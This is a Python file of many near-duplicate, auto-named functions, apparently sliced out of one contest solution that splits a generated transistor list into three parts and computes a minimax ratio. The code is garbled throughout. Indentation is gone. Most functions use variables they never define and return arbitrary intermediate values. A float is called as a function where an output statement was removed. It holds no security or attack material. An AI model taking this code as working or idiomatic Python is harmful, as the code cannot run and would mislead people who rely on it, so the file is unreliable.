nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_740926a0b48842ddaffe6fe446fd2dac(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_66a4345465244fbc92b79f3a76e861ec(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_0c570960ab03444eb9eab2ad89f5b462(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_1ba0906fe88d47fe9be41fe04a6dd160(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_6f4218059a774f76a30ad448c589bd91(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_ad1d4e3119c74ea8bffe2418ff12fe6c(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_08872f6a0b104b1a8b4f29ea2b124de5(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_997581678fab419cacd08db279c0687d(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_7607f866ed8c4cff95bc3d1e02071996(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_8121810de75047129de5eb200d579200(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_79ec2744408a44c69523a73986020ae1(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_292f33df24c94870957c50a495123337(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_62a325f7b23b428abd3f5476ad23bedc(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_73819d75568c4d3ebf2071d0bb52b0c3(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_33a139792a1c4aac862f19aa2775ca5e(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_1aa223e444754ac7a1cb2d4f29909e7d(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_9f1f5a99dc9641dfb19e717b13341a25(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_255040ffee8e49eab3d4adbac03b4a8e(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_2b003946f71848d98389959686e3d180(transistors, transistorsum, testcase
):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_9c3852a4588544d894b2247ac0e42234(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return first
def func_ad2b38465907454eb8ec7c3f16ccd87d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return p
def func_304b9853f470455ab4680fefe4742c89(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return transistors
def func_d3852ee508be490cbe740a967cc72d3c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return i
def func_9738a361723242d3ad19bc57c1196489(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return transistorsum
def func_eafe11006b5a48dd95a69a8e76893d08(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return r
def func_24b296b8efef417a9fd56827129e227c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return x
def func_e0ac100d07b64e45aa8c97623a8cddc8(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return q
def func_3406c283f4d84fa0a5959668851946d9(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return N
def func_a5f90d788a91434fa5391f56afc6b05e(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return s
def func_48b4a6b983e74443830a11c72016f84f(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return transistors
def func_2d293e19051d402ab75b090785adb7b6(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return i
def func_8a663759203b4f179152ef13b000f0b7(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return last
def func_abfa506c305740b29c71739788d908ec(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return transistorsum
def func_62f7f3e413534cf685bd83ba38d929f5(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return first
def func_e5eb70488a4f489b81c972551bdaf2ac(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return firstsum
def func_0463d41ccda64e11bfcdb5fb1e75b948(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return last
def func_c2adae8227884782a206bc99ec04009a(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return first
def func_8fc2ce8c320b44749f9674704a2fd943(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return transistorsum
def func_ab2d59ff7dfe440c89c4e5f4b37f0a5d(N):
first = 0
last = N
firstsum = 0
lastsum = 0
return firstsum
def func_128198aad8ab40c39c5442f6980834d1(N):
first = 0
last = N
firstsum = 0
lastsum = 0
return last
def func_6165f4ceb581467dada10c3c633736b4(N):
first = 0
last = N
firstsum = 0
lastsum = 0
return lastsum
def func_4168596e8b54497894aafdb9d1ad9c7b(N):
first = 0
last = N
firstsum = 0
lastsum = 0
return first
def func_85efa7de3bd74e488ed9ae36b08e51ff(transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return last
def func_d48b95e22ec943db8e84779d197c93b8(transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_e917c0b36bcc4841a553604578d87ccb(transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_3e52a977146141a0b711e349b19799c8(transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_ba701dbb151a4612b97b4e7f115ebf0c(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_f937e41837b44ba8a9e732f93e7aa712(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_78625c58b1d54b8f8838e47e59c8afe3(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_37aeb431da064272ae1a857b845d4f5e(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_feb7187bc4ec450eb30a3e54c7117e3b(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_d6ec7b3bbbe4498ca68b1ecfd9c62532(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_20e8d87296014041b82551852cdf61c8(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_0f758fec6a50424c8c79c8e367bc7b80(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_b9098cec551844b79045f1ae826d3c39(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_ec0ce47f5f7a4587a9e4a5c1d6166712(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_4a4b5fcd5f4d4d3391068e80e1a85dbf(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_5548a3643bfb43e3a231b9c836e557f1(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_db3e1e17aa6d4eab851c62efa3bb89de(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_bdf44447a21f4bf2955fe6c94d68130a(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_29bb7ce2bc374c15a0fbb0f9dfefabda(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_b37995ca83f34b40b51d89a53bb3e14f(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_d30a5cd684e3406f8e85b79098b28226(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_4abb069996bf406ab2649372bdf499ef(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_d199b6c4d77d47c09429373efcd2b6e7(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_320e001c959443038d690cd0465beee5(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_06411a3e23694bc38eadda0bb0742aaf(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_858ed0628f824a729c4f90b5877302e0(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_d05f09dfc2044dd6af6d0cdf5a8b76de(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_eed161c0e0f44f72aea1bd2a1983e07f(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_49f76355674544cda167a64d920b0248(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_4040185d097b4746a59e9eceb60a6bb2(transistors, transistorsum, testcase
):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_713cea3d1c8443ac98565a1457f0558a(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return s
def func_af0756b3b2fb48d695df0faa6741a2a3(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return r
def func_2254eded6e1a41e1834a19a71f35f8d1(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return p
def func_5775ea219153400196ebbbe706c1ea23(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return x
def func_9f4c4c30f417436c98a511ff4bb377e2(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return q
def func_60cf629ec0bb403cae1a137dcaa3250c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return N
def func_9579cee7f8924b3a90bf0ec5857ac3c5(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return transistors
def func_47d4af1c90224202b350546d3b0e3eaf(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return i
def func_2a49b9efbf0b485ab5dabd5714080a14(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return last
def func_2f6e09e6f5234c6b87e5473d21ed277f(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return transistorsum
def func_3b647c4e7f3a40ffaf3ef28a20bb8080(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
return first
def func_3e89f5863b6c4ade918278afcce212c1(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return transistors
def func_dbe198c9a9944b5383579e14e43d7353(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return firstsum
def func_813c92d3a15b4f6d803740c84ce2c247(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return first
def func_1303250ed0d742e3ab2d9105331455d9(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
